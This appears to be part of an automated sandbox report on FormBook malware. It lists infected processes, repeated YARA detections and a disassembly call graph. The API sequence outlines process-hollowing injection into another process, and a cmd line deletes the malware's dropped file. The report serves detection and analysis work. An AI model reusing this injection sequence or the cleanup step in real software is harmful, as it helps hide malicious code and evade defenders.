                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000B.00000002.2335523108.000000001DE30000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2335523108.000000001DE30000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.2335523108.000000001DE30000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000B.00000002.2335523108.000000001DE30000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                                                • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000B.00000002.2335523108.000000001DE30000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                                                • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                                                Antivirus matches:
                                                                                                                                                                                                                                • Detection: 3%, ReversingLabs
                                                                                                                                                                                                                                Reputation:moderate
                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                Target ID:12
                                                                                                                                                                                                                                Start time:03:04:16
                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                Path:C:\Windows\explorer.exe
                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                Commandline:C:\Windows\Explorer.EXE
                                                                                                                                                                                                                                Imagebase:0x7ff609140000
                                                                                                                                                                                                                                File size:5'141'208 bytes
                                                                                                                                                                                                                                MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                                                                                                Has elevated privileges:false
                                                                                                                                                                                                                                Has administrator privileges:false
                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                Yara matches:
                                                                                                                                                                                                                                • Rule: Windows_Trojan_Formbook_772cc62d, Description: unknown, Source: 0000000C.00000002.4586555413.0000000008DAA000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                Has exited:false

                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                Target ID:13
                                                                                                                                                                                                                                Start time:03:04:21
                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                Commandline:"C:\Windows\SysWOW64\cscript.exe"
                                                                                                                                                                                                                                Imagebase:0xbf0000
                                                                                                                                                                                                                                File size:144'896 bytes
                                                                                                                                                                                                                                MD5 hash:CB601B41D4C8074BE8A84AED564A94DC
                                                                                                                                                                                                                                Has elevated privileges:false
                                                                                                                                                                                                                                Has administrator privileges:false
                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                Yara matches:
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000D.00000002.4578398893.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.4578398893.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.4578398893.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000D.00000002.4578398893.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                                                • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000D.00000002.4578398893.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000D.00000002.4578591711.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.4578591711.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.4578591711.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000D.00000002.4578591711.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                                                • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000D.00000002.4578591711.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000D.00000002.4578723016.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.4578723016.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.4578723016.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000D.00000002.4578723016.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                                                • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000D.00000002.4578723016.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                                                Has exited:false

                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                Target ID:16
                                                                                                                                                                                                                                Start time:03:04:26
                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                Commandline:/c del "C:\Users\Public\Libraries\joedgvvL.pif"
                                                                                                                                                                                                                                Imagebase:0x1c0000
                                                                                                                                                                                                                                File size:236'544 bytes
                                                                                                                                                                                                                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                Has elevated privileges:false
                                                                                                                                                                                                                                Has administrator privileges:false
                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                Target ID:17
                                                                                                                                                                                                                                Start time:03:04:26
                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                Imagebase:0x7ff66e660000
                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                Has elevated privileges:false
                                                                                                                                                                                                                                Has administrator privileges:false
                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                Disassembly

                                                                                                                                                                                                                                Reset < >

                                                                                                                                                                                                                                  Execution Graph

                                                                                                                                                                                                                                  Execution Coverage:12.7%
                                                                                                                                                                                                                                  Dynamic/Decrypted Code Coverage:100%
                                                                                                                                                                                                                                  Signature Coverage:9.9%
                                                                                                                                                                                                                                  Total number of Nodes:304
                                                                                                                                                                                                                                  Total number of Limit Nodes:18
                                                                                                                                                                                                                                  execution_graph 32331 31d1c6c 32332 31d1c7c 32331->32332 32333 31d1d04 32331->32333 32334 31d1c89 32332->32334 32335 31d1cc0 32332->32335 32336 31d1d0d 32333->32336 32337 31d1f58 32333->32337 32338 31d1c94 32334->32338 32379 31d1724 32334->32379 32341 31d1724 10 API calls 32335->32341 32340 31d1d25 32336->32340 32353 31d1e24 32336->32353 32339 31d1fec 32337->32339 32343 31d1fac 32337->32343 32344 31d1f68 32337->32344 32346 31d1d2c 32340->32346 32350 31d1d48 32340->32350 32355 31d1dfc 32340->32355 32362 31d1cd7 32341->32362 32347 31d1fb2 32343->32347 32351 31d1724 10 API calls 32343->32351 32348 31d1724 10 API calls 32344->32348 32345 31d1e7c 32349 31d1724 10 API calls 32345->32349 32367 31d1e95 32345->32367 32352 31d1f82 32348->32352 32354 31d1f2c 32349->32354 32359 31d1d79 Sleep 32350->32359 32364 31d1d9c 32350->32364 32356 31d1fc1 32351->32356 32372 31d1a8c 8 API calls 32352->32372 32376 31d1fa7 32352->32376 32353->32345 32358 31d1e55 Sleep 32353->32358 32353->32367 32354->32367 32371 31d1a8c 8 API calls 32354->32371 32357 31d1724 10 API calls 32355->32357 32373 31d1a8c 8 API calls 32356->32373 32356->32376 32369 31d1e05 32357->32369 32358->32345 32363 31d1e6f Sleep 32358->32363 32360 31d1d91 Sleep 32359->32360 32359->32364 32360->32350 32361 31d1ca1 32368 31d1cb9 32361->32368 32403 31d1a8c 32361->32403 32366 31d1a8c 8 API calls 32362->32366 32370 31d1cfd 32362->32370 32363->32353 32366->32370 32375 31d1a8c 8 API calls 32369->32375 32378 31d1e1d 32369->32378 32374 31d1f50 32371->32374 32372->32376 32377 31d1fe4 32373->32377 32375->32378 32380 31d173c 32379->32380 32381 31d1968 32379->32381 32392 31d174e 32380->32392 32394 31d17cb Sleep 32380->32394 32382 31d1a80 32381->32382 32383 31d1938 32381->32383 32384 31d1a89 32382->32384 32385 31d1684 VirtualAlloc 32382->32385 32389 31d1947 Sleep 32383->32389 32396 31d1986 32383->32396 32384->32361 32387 31d16bf 32385->32387 32388 31d16af 32385->32388 32386 31d175d 32386->32361 32387->32361 32420 31d1644 32388->32420 32393 31d195d Sleep 32389->32393 32389->32396 32391 31d182c 32402 31d1838 32391->32402 32426 31d15cc 32391->32426 32392->32386 32392->32391 32397 31d180a Sleep 32392->32397 32393->32383 32394->32392 32395 31d17e4 Sleep 32394->32395 32395->32380 32398 31d15cc VirtualAlloc 32396->32398 32401 31d19a4 32396->32401 32397->32391 32399 31d1820 Sleep 32397->32399 32398->32401 32399->32392 32401->32361 32402->32361 32404 31d1b6c 32403->32404 32405 31d1aa1 32403->32405 32406 31d16e8 32404->32406 32407 31d1aa7 32404->32407 32405->32407 32410 31d1b13 Sleep 32405->32410 32409 31d1c66 32406->32409 32412 31d1644 2 API calls 32406->32412 32408 31d1ab0 32407->32408 32411 31d1b4b Sleep 32407->32411 32417 31d1b81 32407->32417 32408->32368 32409->32368 32410->32407 32413 31d1b2d Sleep 32410->32413 32414 31d1b61 Sleep 32411->32414 32411->32417 32415 31d16f5 VirtualFree 32412->32415 32413->32405 32414->32407 32416 31d170d 32415->32416 32416->32368 32418 31d1c00 VirtualFree 32417->32418 32419 31d1ba4 32417->32419 32418->32368 32419->32368 32421 31d1681 32420->32421 32422 31d164d 32420->32422 32421->32387 32422->32421 32423 31d164f Sleep 32422->32423 32424 31d1664 32423->32424 32424->32421 32425 31d1668 Sleep 32424->32425 32425->32422 32430 31d1560 32426->32430 32428 31d15d4 VirtualAlloc 32429 31d15eb 32428->32429 32429->32402 32431 31d1500 32430->32431 32431->32428 32432 31d4edc 32433 31d4ee9 32432->32433 32436 31d4ef0 32432->32436 32438 31d4c38 32433->32438 32444 31d4c50 32436->32444 32439 31d4c4c 32438->32439 32440 31d4c3c SysAllocStringLen 32438->32440 32439->32436 32440->32439 32441 31d4c30 32440->32441 32442 31d4f3c 32441->32442 32443 31d4f26 SysAllocStringLen 32441->32443 32442->32436 32443->32441 32443->32442 32445 31d4c5c 32444->32445 32446 31d4c56 SysFreeString 32444->32446 32446->32445 32447 31fd2fc 32457 31d656c 32447->32457 32451 31fd32a 32462 31fc35c timeSetEvent 32451->32462 32453 31fd334 32454 31fd342 GetMessageA 32453->32454 32455 31fd336 TranslateMessage DispatchMessageA 32454->32455 32456 31fd352 32454->32456 32455->32454 32458 31d6577 32457->32458 32463 31d4198 32458->32463 32461 31d42ac SysFreeString SysReAllocStringLen SysAllocStringLen 32461->32451 32462->32453 32464 31d41de 32463->32464 32465 31d43e8 32464->32465 32466 31d4257 32464->32466 32469 31d4419 32465->32469 32472 31d442a 32465->32472 32477 31d4130 32466->32477 32482 31d435c GetStdHandle WriteFile GetStdHandle WriteFile MessageBoxA 32469->32482 32471 31d4423 32471->32472 32473 31d446f FreeLibrary 32472->32473 32474 31d4493 32472->32474 32473->32472 32475 31d449c 32474->32475 32476 31d44a2 ExitProcess 32474->32476 32475->32476 32478 31d4173 32477->32478 32479 31d4140 32477->32479 32478->32461 32479->32478 32480 31d15cc VirtualAlloc 32479->32480 32483 31d5868 32479->32483 32480->32479 32482->32471 32484 31d5878 GetModuleFileNameA 32483->32484 32485 31d5894 32483->32485 32487 31d5acc GetModuleFileNameA RegOpenKeyExA 32484->32487 32485->32479 32488 31d5b4f 32487->32488 32489 31d5b0f RegOpenKeyExA 32487->32489 32505 31d5908 12 API calls 32488->32505 32489->32488 32490 31d5b2d RegOpenKeyExA 32489->32490 32490->32488 32492 31d5bd8 lstrcpynA GetThreadLocale GetLocaleInfoA 32490->32492 32494 31d5c0f 32492->32494 32495 31d5cf2 32492->32495 32493 31d5b74 RegQueryValueExA 32496 31d5b94 RegQueryValueExA 32493->32496 32497 31d5bb2 RegCloseKey 32493->32497 32494->32495 32499 31d5c1f lstrlenA 32494->32499 32495->32485 32496->32497 32497->32485 32500 31d5c37 32499->32500 32500->32495 32501 31d5c5c lstrcpynA LoadLibraryExA 32500->32501 32502 31d5c84 32500->32502 32501->32502 32502->32495 32503 31d5c8e lstrcpynA LoadLibraryExA 32502->32503 32503->32495 32504 31d5cc0 lstrcpynA LoadLibraryExA 32503->32504 32504->32495 32505->32493 32506 31f3e12 34050 31d4860 32506->34050 34051 31d4871 34050->34051 34052 31d48ae 34051->34052 34053 31d4897 34051->34053 34068 31d45a0 34052->34068 34059 31d4bcc 34053->34059 34056 31d48a4 34057 31d48df 34056->34057 34073 31d4530 34056->34073 34060 31d4bd9 34059->34060 34067 31d4c09 34059->34067 34062 31d4c02 34060->34062 34065 31d4be5 34060->34065 34063 31d45a0 11 API calls 34062->34063 34063->34067 34064 31d4bf3 34064->34056 34079 31d2c44 11 API calls 34065->34079 34080 31d44dc 34067->34080 34069 31d45c8 34068->34069 34070 31d45a4 34068->34070 34069->34056 34093 31d2c10 34070->34093 34072 31d45b1 34072->34056 34074 31d4534 34073->34074 34077 31d4544 34073->34077 34076 31d45a0 11 API calls 34074->34076 34074->34077 34075 31d4572 34075->34057 34076->34077 34077->34075 34078 31d2c2c 11 API calls 34077->34078 34078->34075 34079->34064 34081 31d44fd 34080->34081 34082 31d44e2 34080->34082 34081->34064 34082->34081 34084 31d2c2c 34082->34084 34085 31d2c3a 34084->34085 34086 31d2c30 34084->34086 34085->34081 34086->34085 34087 31d2d19 34086->34087 34091 31d6520 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 34086->34091 34092 31d2ce8 7 API calls 34087->34092 34090 31d2d3a 34090->34081 34091->34087 34092->34090 34094 31d2c27 34093->34094 34096 31d2c14 34093->34096 34094->34072 34095 31d2c1e 34095->34072 34096->34095 34097 31d2d19 34096->34097 34101 31d6520 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 34096->34101 34102 31d2ce8 7 API calls 34097->34102 34100 31d2d3a 34100->34072 34101->34097 34102->34100 34103 31fc350 34106 31ef7c8 34103->34106 34107 31ef7d0 34106->34107 34107->34107 34108 31ef7d7 34107->34108 36487 31e88b8 LoadLibraryW 34108->36487 34110 31ef7f1 36492 31d2ee0 QueryPerformanceCounter 34110->36492 34112 31ef7f6 34113 31ef800 InetIsOffline 34112->34113 34114 31ef80a 34113->34114 34115 31ef81b 34113->34115 34117 31d4530 11 API calls 34114->34117 34116 31d4530 11 API calls 34115->34116 34118 31ef819 34116->34118 34117->34118 34119 31d4860 11 API calls 34118->34119 34120 31ef848 34119->34120 34121 31ef850 34120->34121 34122 31ef85a 34121->34122 36495 31d47ec 34122->36495 34124 31ef873 34125 31ef87b 34124->34125 34126 31ef885 34125->34126 36510 31e89d0 34126->36510 34129 31d4860 11 API calls 34130 31ef8ac 34129->34130 34131 31ef8b4 34130->34131 36523 31d46d4 34131->36523 36525 31e8274 36487->36525 36489 31e88f1 36536 31e7d78 36489->36536 36493 31d2eed 36492->36493 36494 31d2ef8 GetTickCount 36492->36494 36493->34112 36494->34112 36496 31d4851 36495->36496 36497 31d47f0 36495->36497 36500 31d47f8 36497->36500 36501 31d4530 36497->36501 36498 31d4572 36498->34124 36499 31d4807 36503 31d45a0 11 API calls 36499->36503 36500->36496 36500->36499 36502 31d4530 11 API calls 36500->36502 36504 31d45a0 11 API calls 36501->36504 36505 31d4544 36501->36505 36502->36499 36507 31d4821 36503->36507 36504->36505 36505->36498 36506 31d2c2c 11 API calls 36505->36506 36506->36498 36508 31d4530 11 API calls 36507->36508 36509 31d484d 36508->36509 36509->34124 36511 31e89e4 36510->36511 36512 31e81cc 17 API calls 36511->36512 36513 31e8a1d 36512->36513 36514 31e8274 15 API calls 36513->36514 36515 31e8a36 36514->36515 36516 31e7d78 18 API calls 36515->36516 36517 31e8a95 36516->36517 36572 31e8338 36517->36572 36520 31e8abc 36521 31d4500 11 API calls 36520->36521 36522 31e8ac9 36521->36522 36522->34129 36524 31d46da 36523->36524 36526 31d4530 11 API calls 36525->36526 36527 31e8299 36526->36527 36550 31e798c 36527->36550 36530 31d47ec 11 API calls 36531 31e82b3 36530->36531 36532 31e82bb GetModuleHandleW GetProcAddress GetProcAddress 36531->36532 36533 31e82ee 36532->36533 36556 31d4500 36533->36556 36537 31d4530 11 API calls 36536->36537 36538 31e7d9d 36537->36538 36539 31e798c 12 API calls 36538->36539 36540 31e7daa 36539->36540 36541 31d47ec 11 API calls 36540->36541 36542 31e7dba 36541->36542 36561 31e81cc 36542->36561 36545 31e8274 15 API calls 36546 31e7dd3 NtWriteVirtualMemory 36545->36546 36547 31e7dff 36546->36547 36548 31d4500 11 API calls 36547->36548 36549 31e7e0c FreeLibrary 36548->36549 36549->34110 36551 31e799d 36550->36551 36552 31d4bcc 11 API calls 36551->36552 36554 31e79ad 36552->36554 36553 31e7a19 36553->36530 36554->36553 36560 31dbabc CharNextA 36554->36560 36558 31d4506 36556->36558 36557 31d452c 36557->36489 36558->36557 36559 31d2c2c 11 API calls 36558->36559 36559->36558 36560->36554 36562 31d4530 11 API calls 36561->36562 36563 31e81ef 36562->36563 36564 31e798c 12 API calls 36563->36564 36565 31e81fc 36564->36565 36566 31e8204 GetModuleHandleA 36565->36566 36567 31e8274 15 API calls 36566->36567 36568 31e8215 GetModuleHandleA 36567->36568 36569 31e8233 36568->36569 36570 31d44dc 11 API calls 36569->36570 36571 31e7dcd 36570->36571 36571->36545 36573 31d4530 11 API calls 36572->36573 36574 31e835b 36573->36574 36575 31d4860 11 API calls 36574->36575 36576 31e837a 36575->36576 36577 31e81cc 17 API calls 36576->36577 36578 31e838d 36577->36578 36579 31e8274 15 API calls 36578->36579 36580 31e8393 FlushInstructionCache 36579->36580 36581 31e83b9 36580->36581 36582 31d44dc 11 API calls 36581->36582 36583 31e83c1 FreeLibrary 36582->36583 36583->36520

                                                                                                                                                                                                                                  Executed Functions

                                                                                                                                                                                                                                  Function 031E8D70 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654threadnativeinjectionCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 6026 31e8d70-31e8d73 6027 31e8d78-31e8d7d 6026->6027 6027->6027 6028 31e8d7f-31e8e66 call 31d4990 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 6027->6028 6059 31e8e6c-31e8f47 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 6028->6059 6060 31ea8b7-31ea921 call 31d4500 * 2 call 31d4c60 call 31d4500 call 31d44dc call 31d4500 * 2 6028->6060 6059->6060 6104 31e8f4d-31e9275 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d30d4 * 2 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4de0 call 31d4df0 call 31e8788 6059->6104 6213 31e92e8-31e9609 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d2ee0 call 31d2f08 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 GetThreadContext 6104->6213 6214 31e9277-31e92e3 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 6104->6214 6213->6060 6322 31e960f-31e9872 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e8400 6213->6322 6214->6213 6395 31e9b7f-31e9beb call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 6322->6395 6396 31e9878-31e99e1 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e8670 6322->6396 6423 31e9bf0-31e9d70 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e7a2c 6395->6423 6486 31e9a0b-31e9a77 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 6396->6486 6487 31e99e3-31e9a09 call 31e7a2c 6396->6487 6423->6060 6527 31e9d76-31e9e6f call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e8c80 6423->6527 6495 31e9a7c-31e9b73 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e7a2c 6486->6495 6487->6495 6566 31e9b78-31e9b7d 6495->6566 6578 31e9ec3-31ea61b call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e7d78 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e7d78 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 SetThreadContext NtResumeThread call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d2c2c call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e894c * 3 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 6527->6578 6579 31e9e71-31e9ebe call 31e8b78 call 31e8b6c 6527->6579 6566->6423 6804 31ea620-31ea8b2 call 31e894c * 2 call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c * 5 call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31e8080 call 31e894c * 2 6578->6804 6579->6578 6804->6060
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031E89D0: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,0325738C,Function_0000662C,00000004,0325739C,0325738C,05F5E103,00000040,032573A0,74F60000,00000000,00000000), ref: 031E8AAA
                                                                                                                                                                                                                                    • Part of subcall function 031E8788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 031E8814
                                                                                                                                                                                                                                  • GetThreadContext.KERNEL32(0000089C,03257424,ScanString,032573A8,031EA93C,UacInitialize,032573A8,031EA93C,ScanBuffer,032573A8,031EA93C,ScanBuffer,032573A8,031EA93C,UacInitialize,032573A8), ref: 031E9602
                                                                                                                                                                                                                                    • Part of subcall function 031E8400: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 031E8471
                                                                                                                                                                                                                                    • Part of subcall function 031E8670: NtUnmapViewOfSection.NTDLL(?,?), ref: 031E86D5
